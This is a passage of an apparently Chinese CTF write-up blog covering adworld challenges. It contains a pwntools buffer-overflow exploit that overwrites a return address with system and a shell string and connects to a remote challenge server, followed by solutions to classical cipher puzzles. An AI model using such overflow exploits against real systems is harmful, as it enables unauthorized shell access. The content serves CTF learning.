0x88 + 0x04 覆盖掉,并用 system 的地址替换本来的返回地址

image-20240321174503049

system 的返回用任意4字符覆盖,最后拼接 /bin/su 的地址

image-20240321174617903

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# context.log_level = "debug"
context.arch = "i386"
p = remote("61.147.171.105", 56419)
# p = process("./level2")
p.recvuntil(b"Input:\n")
p.sendline(b"A" * (0x88 + 0x04) + p32(0x8048320) + b"A" * 4 + p32(0x0804A024))
# p.sendline(b"ls")
p.interactive()

Crypto

base64

元宵节灯谜是一种古老的传统民间观灯猜谜的习俗。 因为谜语能启迪智慧又饶有兴趣,灯谜增添节日气氛,是一项很有趣的活动。 你也很喜欢这个游戏,这不,今年元宵节,心里有个黑客梦的你,约上你青梅竹马的好伙伴小鱼, 来到了cyberpeace的攻防世界猜谜大会,也想着一展身手。
你们一起来到了小孩子叽叽喳喳吵吵闹闹的地方,你俩抬头一看,上面的大红灯笼上写着一些奇奇怪怪的 字符串,小鱼正纳闷呢,你神秘一笑,我知道这是什么了。

如题名

image-20240322191917870

Caesar

你成功的解出了来了灯谜,小鱼一脸的意想不到“没想到你懂得这么多啊!” 你心里面有点小得意,“那可不是,论学习我没你成绩好轮别的我知道的可不比你少,走我们去看看下一个” 你们继续走,看到前面也是热热闹闹的,同样的大红灯笼高高挂起,旁边呢好多人叽叽喳喳说个不停。你一看 大灯笼,上面还是一对字符,你正冥思苦想呢,小鱼神秘一笑,对你说道,我知道这个的答案是什么了

oknqdbqmoq{kag_tmhq_xqmdzqp_omqemd_qzodkbfuaz}

如题名

image-20240322192041263

Morse

小鱼得意的瞟了你一眼,神神气气的拿走了答对谜语的奖励,你心里暗暗较劲 想着下一个谜题一定要比小鱼更快的解出来。不知不觉你们走到了下一个谜题的地方,这个地方有些奇怪。 上面没什么提示信息,只是刻着一些0和1,感觉有着一些奇怪的规律,你觉得有些熟悉,但是就是想不起来 这些01代表着什么意思。一旁的小鱼看你眉头紧锁的样子,扑哧一笑,对你讲“不好意思我又猜到答案了。”(flag格式为cyberpeace{xxxxxxxxxx},均为小写)

11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110

如题名

image-20240322192148888

Railfence

被小鱼一连将了两军,你心里更加不服气了。两个人一起继续往前走, 一路上杂耍卖艺的很多,但是你俩毫无兴趣,直直的就冲着下一个谜题的地方去了。 到了一看,这个谜面看起来就已经有点像答案了样子了,旁边还画着一张画,是一副农家小院的 图画,上面画着一个农妇在栅栏里面喂5只小鸡,你嘿嘿一笑对着小鱼说这次可是我先找到答案了。

ccehgyaefnpeoobe{lcirg}epriec_ora_g

如题名

image-20240322192321613

不仅仅是Morse

“这个题目和我们刚刚做的那个好像啊但是为什么按照刚刚的方法做出来答案却不对呢” ,你奇怪的问了问小鱼,“可能是因为还有一些奇怪的加密方式在里面吧,我们在仔细观察观察”。两个人 安安静静的坐下来开始思考,很耐心的把自己可以想到的加密方式一种种的过了一遍,十多分钟后两个人 异口同声的说“我想到了!”。一种食物,格式为cyberpeace{小写的你解出的答案}

1
--/.-/-.--/..--.-/-..././..--.-/..../.-/...-/./..--.-/.-/-./---/-/...././.-./..--.-/-.././-.-./---/-.././..../..../..../..../.-/.-/.-/.-/.-/-.../.-/.-/-.../-.../-.../.-/.-/-.../-.../.-/.-/.-/.-/.-/.-/.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/.-/.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../-.../.-/.-/.-/-.../-.../.-/.-/-.../.-/.-/.-/.-/-.../.-/-.../.-/.-/-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/-.../-.../.-/.-/-.../-.../-.../.-/-.../.-/.-/.-/-.../.-/-.../.-/-.../-.../.-/.-/.-/-.../-.../.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../-.../.-/.-/-.../-.../.-/.-/-.../.-/.-/-.../.-/.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/.-/-.../.-/-.../.-/.-/-.../-.../.-/-.../.-/.-/.-/.-/-.../-.../.-/-.../.-/.-/-.../-.../.-

摩斯密码解密得

1
MAY_BE_HAVE_ANOTHER_DECODEHHHHAAAAABAABBBAABBAAAAAAAABAABABAAAAAAABBABAAABBAAABBAABAAAABABAABAAABBABAAABAAABAABABBAABBBABAAABABABBAAABBABAAABAABAABAAAABBABBAABBAABAABAAABAABAABAABABAABBABAAAABBABAABBA

image-20240322192612476

cyberpeace{} 包裹得 flag


adworld
http://example.com/posts/df9d333d/
作者
Fanllspd
发布于
2024年3月19日
更新于
2024年3月22日
许可协议